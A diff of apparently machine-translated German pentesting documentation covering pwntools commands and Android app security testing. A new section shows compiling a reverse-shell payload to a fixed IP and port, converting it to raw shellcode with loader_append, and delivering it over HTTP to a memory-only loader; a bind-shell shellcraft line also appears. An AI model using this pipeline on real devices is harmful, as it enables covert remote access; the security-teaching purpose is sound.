Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

src/SUMMARY.md

@@ -353,6 +353,7 @@
     - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
     - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
   - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
   - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
   - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
   - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md

@@ -6,17 +6,17 @@ pip3 install pwntools
 ```
 ## Pwn asm
 
-Holen Sie sich **opcodes** aus einer Zeile oder Datei.
+Hole **opcodes** aus einer Zeile oder Datei.
 ```
 pwn asm "jmp esp"
 pwn asm -i <filepath>
 ```
 **Kann auswählen:**
 
-- Ausgabetyp (raw, hex, string, elf)
-- Ausgabedateikontext (16, 32, 64, linux, windows...)
-- Bytes vermeiden (neue Zeilen, null, eine Liste)
-- Encoder für Debug-Shellcode auswählen, indem Sie gdb ausführen, um die Ausgabe zu erhalten
+- Ausgabetyp (raw,hex,string,elf)
+- Ausgabedatei-Kontext (16,32,64,linux,windows...)
+- Bytes vermeiden (Zeilenumbrüche, Null-Byte, eine Liste)
+- Encoder auswählen, shellcode mit gdb debuggen, Ausgabe ausführen
 
 ## **Pwn checksec**
 
@@ -28,21 +28,21 @@ pwn checksec <executable>
 
 ## Pwn cyclic
 
-Erhalte ein Muster
+Muster erzeugen
 ```
 pwn cyclic 3000
 pwn cyclic -l faad
 ```
 **Kann auswählen:**
 
-- Das verwendete Alphabet (Standardmäßig Kleinbuchstaben)
-- Länge des einzigartigen Musters (Standard 4)
-- Kontext (16,32,64,linux,windows...)
-- Nehmen Sie den Offset (-l)
+- Das verwendete Alphabet (standardmäßig Kleinbuchstaben)
+- Länge des uniq pattern (Standard: 4)
+- context (16,32,64,linux,windows...)
+- Offset ermitteln (-l)
 
 ## Pwn debug
 
-Hängen Sie GDB an einen Prozess an
+GDB an einen Prozess anhängen
 ```
 pwn debug --exec /bin/bash
 pwn debug --pid 1234
@@ -50,50 +50,50 @@ pwn debug --process bash
 ```
 **Kann auswählen:**
 
-- Nach ausführbarer Datei, nach Name oder nach PID-Kontext (16,32,64,linux,windows...)
-- gdbscript auszuführen
+- Nach executable, nach Name oder nach pid context (16,32,64,linux,windows...)
+- gdbscript zum Ausführen
 - sysrootpath
 
 ## Pwn disablenx
 
-Deaktivieren Sie nx einer Binärdatei
+nx eines Binaries deaktivieren
 ```
 pwn disablenx <filepath>
 ```
 ## Pwn disasm
 
-Disas hex Opcodes
+Disas hex opcodes
 ```
 pwn disasm ffe4
 ```
 **Kann auswählen:**
 
-- Kontext (16,32,64,linux,windows...)
-- Basisadresse
-- Farbe(Standard)/keine Farbe
+- context (16,32,64,linux,windows...)
+- base addres
+- color(default)/no color
 
 ## Pwn elfdiff
 
-Druckt Unterschiede zwischen 2 Dateien aus
+Zeigt Unterschiede zwischen 2 Dateien an
 ```
 pwn elfdiff <file1> <file2>
 ```
 ## Pwn hex
 
-Holen Sie sich die hexadezimale Darstellung
+Hexadezimale Darstellung erhalten
 ```bash
 pwn hex hola #Get hex of "hola" ascii
 ```
 ## Pwn phd
 
-Hexdump erhalten
+hexdump abrufen
 ```
 pwn phd <file>
 ```
 **Kann auswählen:**
 
 - Anzahl der anzuzeigenden Bytes
-- Anzahl der Bytes pro Zeile hervorgehobenes Byte
+- Anzahl der Bytes pro Zeile (hervorgehobenes Byte)
 - Bytes am Anfang überspringen
 
 ## Pwn pwnstrip
@@ -102,7 +102,7 @@ pwn phd <file>
 
 ## Pwn shellcraft
 
-Shellcodes abrufen
+Shellcodes erhalten
 ```
 pwn shellcraft -l #List shellcodes
 pwn shellcraft -l amd #Shellcode with amd in the name
@@ -112,26 +112,26 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
 ```
 **Kann auswählen:**
 
-- Shellcode und Argumente für den Shellcode
+- shellcode und Argumente für den shellcode
 - Ausgabedatei
 - Ausgabeformat
-- Debuggen (dbg an Shellcode anhängen)
-- Vor (Debug-Trap vor dem Code)
-- Nach
-- Vermeiden von Opcodes (Standard: nicht null und neue Zeile)
-- Führen Sie den Shellcode aus
-- Farbe/keine Farbe
-- Syscalls auflisten
-- Mögliche Shellcodes auflisten
-- ELF als Shared Library generieren
+- debug (dbg an den shellcode anhängen)
+- vorher (Debug-Trap vor dem Code)
+- nachher
+- Vermeide die Verwendung von opcodes (Standard: keine Null-Bytes und Zeilenumbrüche)
+- Shellcode ausführen
+- Farbe / keine Farbe
+- syscalls auflisten
+- mögliche shellcodes auflisten
+- ELF als shared library erzeugen
 
-## Pwn-Vorlage
+## Pwn template
 
-Holen Sie sich eine Python-Vorlage
+Hole eine Python-Vorlage
 ```
 pwn template
 ```
-**Kann auswählen:** host, port, user, pass, path und quiet
+**Auswählbar:** host, port, user, pass, path und quiet
 
 ## Pwn unhex
 
@@ -139,10 +139,43 @@ Von hex zu string
 ```
 pwn unhex 686f6c61
 ```
-## Pwn-Update
+## Pwn-Aktualisierung
 
 Um pwntools zu aktualisieren
 ```
 pwn update
 ```
+## ELF → raw shellcode packaging (loader_append)
+
+Pwntools kann eine eigenständige ELF in ein einzelnes raw shellcode blob umwandeln, das seine Segmente selbst mapped und die Ausführung an den ursprünglichen entrypoint übergibt. Das ist ideal für memory-only loaders (z. B. Android-Apps, die JNI aufrufen, um heruntergeladene Bytes auszuführen).
+
+Typische Pipeline (amd64-Beispiel)
+
+1) Erstelle eine statische, positionsunabhängige payload ELF (musl für Portabilität empfohlen):
+```bash
+musl-gcc -O3 -s -static -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+2) Konvertiere ELF → shellcode mit pwntools:
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
+```
+3) Übermittle sc an einen memory loader (z. B. über HTTP[S]) und führe ihn im Prozess aus.
+
+Hinweise
+- loader_append bettet das originale ELF-Programm in den shellcode ein und erzeugt einen winzigen Loader, der die Segmente mmaps und zum entry springt.
+- Gib die Architektur explizit über context.clear(arch=...) an. arm64 ist auf Android verbreitet.
+- Sorge dafür, dass der Code deines payloads positionsunabhängig ist, und vermeide Annahmen über ASLR/NX des Prozesses.
+
+## Referenzen
+
+- [Pwntools](https://docs.pwntools.com/en/stable/)
+- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
+
 {{#include ../../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Android-Anwendungen Grundlagen
+## Grundlagen von Android-Anwendungen
 
 Es wird dringend empfohlen, diese Seite zuerst zu lesen, um die **wichtigsten Teile im Zusammenhang mit Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
 
@@ -14,14 +14,14 @@ android-applications-basics.md
 ## ADB (Android Debug Bridge)
 
 Dies ist das Haupttool, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
-**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Tool erlaubt das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, sowie andere Funktionen.
+**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Network** von einem Computer aus. Dieses Dienstprogramm erlaubt das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, neben anderen Funktionen.
 
 Schauen Sie sich die folgende Liste der [**ADB Commands**](adb-commands.md) an, um zu lernen, wie man adb verwendet.
 
 ## Smali
 
-Manchmal ist es interessant, **den Anwendungscode zu ändern**, um auf **versteckte Informationen** (z. B. stark obfuskierte Passwörter oder Flags) zuzugreifen. Dann kann es interessant sein, das apk zu dekompilieren, den Code zu ändern und es neu zu kompilieren.\
-[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Dies kann sehr nützlich als **Alternative für mehrere Tests während der dynamischen Analyse** sein, die vorgestellt werden. Dann, **behalten Sie diese Möglichkeit immer im Hinterkopf**.
+Manchmal ist es interessant, den Anwendungscode zu **modifizieren**, um auf **versteckte Informationen** zuzugreifen (vielleicht stark obfuskierte Passwörter oder Flags). Dann kann es sinnvoll sein, das apk zu dekompilieren, den Code zu ändern und es wieder zu rekompilieren.\
+[**In diesem Tutorial** kannst du **lernen, wie man ein APK dekompiliert, Smali-Code modifiziert und das APK mit der neuen Funktionalität rekombiliert**](smali-changes.md). Dies kann als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die noch präsentiert werden. Behalte diese Möglichkeit also immer im Hinterkopf.
 
 ## Weitere interessante Tricks
 
@@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 
 adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 ```
-- Führe alle splits und base apks mit [APKEditor](https://github.com/REAndroid/APKEditor):
+- Alle splits und base apks mit [APKEditor](https://github.com/REAndroid/APKEditor) zusammenführen:
 ```bash
 mkdir splits
 adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 
 ## Statische Analyse
 
-Zuerst sollten Sie bei der Analyse einer APK **den Java-Code ansehen** mithilfe eines Decompilers.\
-Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
+Zunächst sollten Sie zur Analyse einer APK **den Java-Code ansehen** mit einem decompiler.\
+Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare decompiler zu finden**](apk-decompilers.md).
 
-### Nach interessanten Informationen suchen
+### Suche nach interessanten Informationen
 
-Allein durch einen Blick auf die **strings** der APK kann man nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API-Keys**, **Verschlüsselung**, **Bluetooth-UUIDs**, **Tokens** und allem Interessanten suchen... achte auch auf Code-Ausführungs-Backdoors oder Authentifizierungs-Backdoors (hartkodierte Admin-Zugangsdaten für die App).
+Allein durch das Durchsehen der **strings** einer APK können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API keys**, **Verschlüsselung**, **bluetooth uuids**, **Tokens** und allem Interessanten suchen... achten Sie sogar auf Code-Execution **Backdoors** oder Authentifizierungs-Backdoors (hartkodierte Admin-Zugangsdaten in der App).
 
 **Firebase**
 
-Achten Sie besonders auf **Firebase-URLs** und prüfen Sie, ob es falsch konfiguriert ist. [Mehr Informationen darüber, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Achten Sie besonders auf **firebase URLs** und prüfen Sie, ob diese falsch konfiguriert sind. [Mehr Informationen darüber, was Firebase ist und wie es ausgenutzt werden kann finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
 ### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
 
-Die **Untersuchung der _Manifest.xml_ und **_strings.xml_** einer Anwendung kann potenzielle Sicherheitslücken aufdecken**. Auf diese Dateien kann man mit Decompilern zugreifen oder indem man die Dateiendung der APK in .zip ändert und sie entpackt.
+Die **Untersuchung der _Manifest.xml_ und der _strings.xml_ einer Anwendung kann potenzielle Sicherheitslücken offenbaren**. Auf diese Dateien kann man mit Decompilern zugreifen oder indem man die APK-Endung in .zip umändert und sie dann entpackt.
 
-**Schwachstellen**, die aus der **Manifest.xml** identifiziert werden können, umfassen:
+**Schwachstellen**, die aus der **Manifest.xml** hervorgehen können, umfassen:
 
-- **Als debuggable markierte Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben, die zu einer Ausnutzung führen können. Zur weiteren Erläuterung, wie man debuggable Anwendungen ausnutzt, siehe ein Tutorial zum Finden und Ausnutzen debuggable Anwendungen auf einem Gerät.
-- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen umgehen, um unautorisierte Daten-Backups über adb zu verhindern, besonders wenn USB-Debugging aktiviert ist.
-- **Network Security**: Eigene Network-Security-Konfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Certificate Pinning und HTTP-Traffic-Einstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Traffic für bestimmte Domains.
-- **Exportierte Activities und Services**: Das Identifizieren exportierter Activities und Services im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitergehende Analyse während dynamischer Tests kann aufdecken, wie diese Komponenten ausgenutzt werden können.
-- **Content Providers und FileProviders**: Offen gelegte Content Provider könnten unautorisierte Zugriffe oder Änderungen an Daten erlauben. Die Konfiguration von FileProviders sollte ebenfalls geprüft werden.
-- **Broadcast Receivers und URL-Schemata**: Diese Komponenten könnten für Exploits genutzt werden, mit besonderem Augenmerk darauf, wie URL-Schemata Eingaben verarbeiten.
-- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und machen deutlich, wie wichtig es ist, veraltete, verwundbare Android-Versionen nicht zu unterstützen.
+- **Debuggable Applications**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben können, die zu einer Ausnutzung führen. Für ein tieferes Verständnis, wie debuggable Anwendungen ausgenutzt werden können, siehe ein Tutorial zum Auffinden und Ausnutzen debuggable Anwendungen auf einem Gerät.
+- **Backup Settings**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen umgehen, um unautorisierte Datenbackups via adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
+- **Network Security**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Certificate Pins und Einstellungen für HTTP-Verkehr spezifizieren. Ein Beispiel ist das Erlauben von HTTP-Traffic für bestimmte Domains.
+- **Exported Activities and Services**: Das Auffinden exportierter Activities und Services im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Weitere Analysen während des dynamischen Testens können aufdecken, wie diese Komponenten ausgenutzt werden.
+- **Content Providers and FileProviders**: Offengelegte Content Provider könnten unautorisierte Zugriffe oder Modifikationen von Daten erlauben. Die Konfiguration von FileProviders sollte ebenfalls geprüft werden.
+- **Broadcast Receivers and URL Schemes**: Diese Komponenten könnten für Exploits missbraucht werden, wobei besonderes Augenmerk darauf zu legen ist, wie URL schemes für Eingabeanfälligkeiten gehandhabt werden.
+- **SDK Versions**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und unterstreichen, wie wichtig es ist, keine veralteten, verwundbaren Android-Versionen zu unterstützen.
 
-Aus der **strings.xml**-Datei lassen sich sensible Informationen wie API-Keys, Custom Schemes und andere Entwicklerhinweise entdecken, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
+Aus der **strings.xml**-Datei können sensible Informationen wie API keys, benutzerdefinierte Schemata und andere Entwicklerhinweise entdeckt werden, was die Notwendigkeit einer sorgfältigen Durchsicht dieser Ressourcen unterstreicht.
 
 ### Tapjacking
 
-Tapjacking ist ein Angriff, bei dem eine **bösartige Anwendung** gestartet wird und sich **oberhalb einer Opfer-Anwendung positioniert**. Sobald sie die Opfer-App sichtbar überlagert, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie diese Interaktion an die Opfer-App weiterleitet.\
-Effektiv blendet sie den Benutzer aus, sodass er nicht bemerkt, dass er tatsächlich Aktionen in der Opfer-App ausführt.
+**Tapjacking** ist ein Angriff, bei dem eine **bösartige App** gestartet wird und **sich über einer Ziel-App positioniert**. Sobald sie die Ziel-App sichtbar überdeckt, ist ihre Benutzeroberfläche so gestaltet, dass der Benutzer zur Interaktion verleitet wird, während die Interaktion an die Ziel-App weitergereicht wird.\
+Effektiv wird der Benutzer **geblendet und weiß nicht, dass er Aktionen auf der Ziel-App ausführt**.
 
-Weitere Informationen finden Sie in:
+Mehr Informationen finden Sie in:
 
 
 {{#ref}}
@@ -104,9 +104,9 @@ tapjacking.md
 
 ### Task Hijacking
 
-Eine **Activity** mit dem **`launchMode`** auf **`singleTask`** gesetzt und ohne definierte `taskAffinity` ist anfällig für Task Hijacking. Das bedeutet, dass eine **maligne Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Task der echten Anwendung kapern** könnte (so wird der Benutzer mit der **bösartigen Anwendung interagieren und denken, er benutzt die echte**).
+Eine **activity** mit dem **`launchMode`** auf **`singleTask` ohne definierte `taskAffinity`** ist anfällig für Task Hijacking. Das bedeutet, dass eine **App** installiert werden kann und, wenn sie vor der echten App gestartet wird, **die Task der echten App kapern** könnte (so dass der Benutzer mit der **bösartigen App interagiert und denkt, er benutze die echte App**).
 
-Mehr Informationen in:
+Mehr Infos in:
 
 
 {{#ref}}
@@ -117,67 +117,67 @@ android-task-hijacking.md
 
 **Internal Storage**
 
-In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **dazu gedacht**, ausschließlich von der **App**, die sie **erstellt** hat, zugänglich zu sein. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist für die Sicherheitsanforderungen der meisten Anwendungen in der Regel ausreichend. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen zu **teilen**. Diese Modi **begrenzen den Zugriff** auf diese Dateien jedoch **nicht** gegenüber anderen Anwendungen, einschließlich potenziell bösartiger.
+In Android sind Dateien, die im **internal** storage **gespeichert** werden, **dazu vorgesehen**, ausschließlich von der **App**, die sie erstellt hat, zugänglich zu sein. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist für die Sicherheitsanforderungen der meisten Anwendungen in der Regel ausreichend. Entwickler verwenden jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **schränken jedoch den Zugriff durch andere Anwendungen, einschließlich potenziell bösartiger, nicht ein**.
 
-1. **Statische Analyse:**
-- **Prüfen** Sie genau den Einsatz von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`. Diese Modi **können Dateien ungewollt oder unautorisiert zugänglich machen**.
-2. **Dynamische Analyse:**
-- **Verifizieren** Sie die **Berechtigungen** von Dateien, die von der App erstellt wurden. Insbesondere **prüfen** Sie, ob Dateien **weltweit les- oder schreibbar** gesetzt sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder auf dem Gerät installierten Anwendung** erlauben würde, diese Dateien zu **lesen oder zu verändern**, egal woher sie stammt.
+1. **Static Analysis:**
+- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **können Dateien unbeabsichtigt oder unautorisiert zugänglich machen**.
+2. **Dynamic Analysis:**
+- **Überprüfen** Sie die **Berechtigungen** für von der App erstellte Dateien. Prüfen Sie insbesondere, ob Dateien **weltweit lesbar oder beschreibbar gesetzt** sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da dadurch **jede auf dem Gerät installierte App** die Dateien lesen oder ändern könnte.
 
 **External Storage**
 
-Beim Umgang mit Dateien auf dem **externen Speicher**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen beachtet werden:
+Beim Umgang mit Dateien auf **external storage**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen getroffen werden:
 
 1. **Zugänglichkeit**:
-- Dateien auf externem Speicher sind **global les- und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
+- Dateien auf external storage sind **global lesbar und schreibbar**. Das bedeutet, jede App oder jeder Benutzer kann auf diese Dateien zugreifen.
 2. **Sicherheitsbedenken**:
-- Aufgrund der einfachen Zugänglichkeit wird empfohlen, **keine sensiblen Informationen** auf externem Speicher zu speichern.
-- Externer Speicher kann entfernt oder von jeder Anwendung ausgelesen werden, was ihn weniger sicher macht.
-3. **Umgang mit Daten vom externen Speicher**:
-- Führen Sie immer **Eingabevalidierung** auf Daten durch, die vom externen Speicher abgerufen werden. Das ist wichtig, da die Daten aus einer untrusted Quelle stammen.
-- Das Speichern von ausführbaren Dateien oder Klassen auf externem Speicher zum dynamischen Laden wird stark abgeraten.
-- Wenn Ihre Anwendung ausführbare Dateien vom externen Speicher laden muss, stellen Sie sicher, dass diese Dateien **signiert und kryptografisch verifiziert** sind, bevor sie dynamisch geladen werden. Dieser Schritt ist entscheidend für die Wahrung der Sicherheitsintegrität Ihrer Anwendung.
+- Aufgrund der leichten Zugänglichkeit sollte **keine sensiblen Informationen** auf external storage gespeichert werden.
+- External storage kann entfernt oder von jeder App ausgelesen werden, was es weniger sicher macht.
+3. **Umgang mit Daten von External Storage**:
+- Führen Sie immer **Eingabevalidierung** für Daten durch, die von external storage geladen werden. Das ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
+- Das Speichern von ausführbaren Dateien oder Class-Dateien auf external storage zum dynamischen Laden wird dringend abgeraten.
+- Falls Ihre App ausführbare Dateien aus external storage laden muss, stellen Sie sicher, dass diese Dateien **signiert und kryptographisch verifiziert** sind, bevor sie dynamisch geladen werden. Dieser Schritt ist wichtig, um die Sicherheitsintegrität Ihrer Anwendung zu wahren.
 
-Der externe Speicher kann unter `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`` zugegriffen werden.
+External storage ist unter /storage/emulated/0 , /sdcard , /mnt/sdcard zugänglich
 
 > [!TIP]
-> Beginnend mit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis einschränkt, das speziell für diese App vorgesehen ist**. Dies verhindert, dass eine bösartige Anwendung Lese- oder Schreibzugriff auf die Dateien einer anderen App erhält.
+> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das speziell für diese App bestimmte Verzeichnis begrenzt**. Dadurch wird verhindert, dass eine bösartige App Lese- oder Schreibzugriff auf die Dateien einer anderen App erlangt.
 
 **Sensitive data stored in clear-text**
 
-- **Shared preferences**: Android ermöglicht jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
-- **Databases**: Android ermöglicht jeder Anwendung, sqlite-Datenbanken im Pfad `/data/data/<packagename>/databases/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
+- **Shared preferences**: Android erlaubt jeder Anwendung, einfach XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
+- **Databases**: Android erlaubt jeder Anwendung, einfach sqlite-Datenbanken im Pfad `/data/data/<packagename>/databases/` zu speichern, und manchmal lassen sich in diesem Ordner sensible Informationen im Klartext finden.
 
 ### Broken TLS
 
 **Accept All Certificates**
 
-Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn zum Beispiel der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden:
+Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn z. B. der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 ```
-A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
+Eine gute Möglichkeit, dies zu testen, ist zu versuchen, den Traffic mit einem Proxy wie Burp abzufangen, ohne das Burp CA im Gerät zu authorisieren. Außerdem kann man mit Burp ein Zertifikat für einen anderen Hostnamen erzeugen und verwenden.
 
 ### Fehlerhafte Kryptographie
 
-**Schwache Prozesse zur Schlüsselverwaltung**
+**Schlechte Schlüsselverwaltungsprozesse**
 
-Manche Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersagbaren Key. Das sollte nicht gemacht werden, da ein Reverse Engineering Angreifern ermöglichen kann, die vertraulichen Informationen zu extrahieren.
+Einige Entwickler speichern sensitive Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersagbaren Schlüssel. Das sollte nicht gemacht werden, da Reverse-Engineering Angreifern erlauben kann, die vertraulichen Informationen zu extrahieren.
 
 **Verwendung unsicherer und/oder veralteter Algorithmen**
 
-Entwickler sollten keine **deprecated algorithms** verwenden, um Autorisierungs-**checks** durchzuführen, Daten zu **store** oder zu **send**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **hashes** beispielsweise verwendet werden, um Passwörter zu speichern, sollten hashes verwendet werden, die **brute-force resistant** sind und Salt nutzen.
+Entwickler sollten keine **deprecated algorithms** verwenden, um Authorisation **checks** durchzuführen, Daten zu **store** oder zu **send**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn beispielsweise **hashes** verwendet werden, um Passwörter zu speichern, sollten brute-force-**resistente** Hashes mit Salt verwendet werden.
 
 ### Weitere Prüfungen
 
-- Es wird empfohlen, das **APK zu obfuscate**, um die Arbeit von reverse engineer Angreifern zu erschweren.
-- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie eigene **Checks durchführen, um zu prüfen, ob das Mobilgerät gerootet ist**, und entsprechend reagieren.
-- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie prüfen, ob ein **emulator** verwendet wird.
-- Wenn die App sensibel ist (z.B. Bank-Apps), sollte sie **ihre eigene Integrität vor der Ausführung prüfen**, um festzustellen, ob sie verändert wurde.
-- Nutze [**APKiD**](https://github.com/rednaga/APKiD), um zu prüfen, welcher Compiler/Packer/Obfuscator zum Bauen des APK verwendet wurde
+- Es wird empfohlen, die **APK zu obfuskieren**, um die Arbeit des Reverse-Engineerings für Angreifer zu erschweren.
+- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie eigene Prüfungen durchführen, um zu prüfen, ob das Mobilgerät rooted ist, und entsprechend reagieren.
+- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie prüfen, ob ein **emulator** verwendet wird.
+- Wenn die App sensibel ist (z. B. Bank-Apps), sollte sie **ihre eigene Integrität vor der Ausführung prüfen**, um festzustellen, ob sie verändert wurde.
+- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
 
-### React Native Anwendung
+### React Native Application
 
 Read the following page to learn how to easily access javascript code of React applications:
 
@@ -186,7 +186,7 @@ Read the following page to learn how to easily access javascript code of React a
 react-native-application.md
 {{#endref}}
 
-### Xamarin Anwendungen
+### Xamarin Applications
 
 Read the following page to learn how to easily access C# code of a xamarin applications:
 
@@ -199,11 +199,11 @@ Read the following page to learn how to easily access C# code of a xamarin appli
 
 According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
 
-### Automatisierte statische Code-Analyse
+### Automated Static Code Analysis
 
-Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **vulnerabilities** zu finden, indem es den **Code** der Anwendung **scannt**. Dieses Tool enthält eine Reihe von **known sources** (die dem Tool anzeigen, an welchen **Stellen** die **Input** **vom Benutzer kontrolliert** wird), **sinks** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schaden verursachen könnten) und **rules**. Diese Rules geben die **Kombination** von **sources-sinks** an, die auf eine Schwachstelle hinweist.
+The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
 
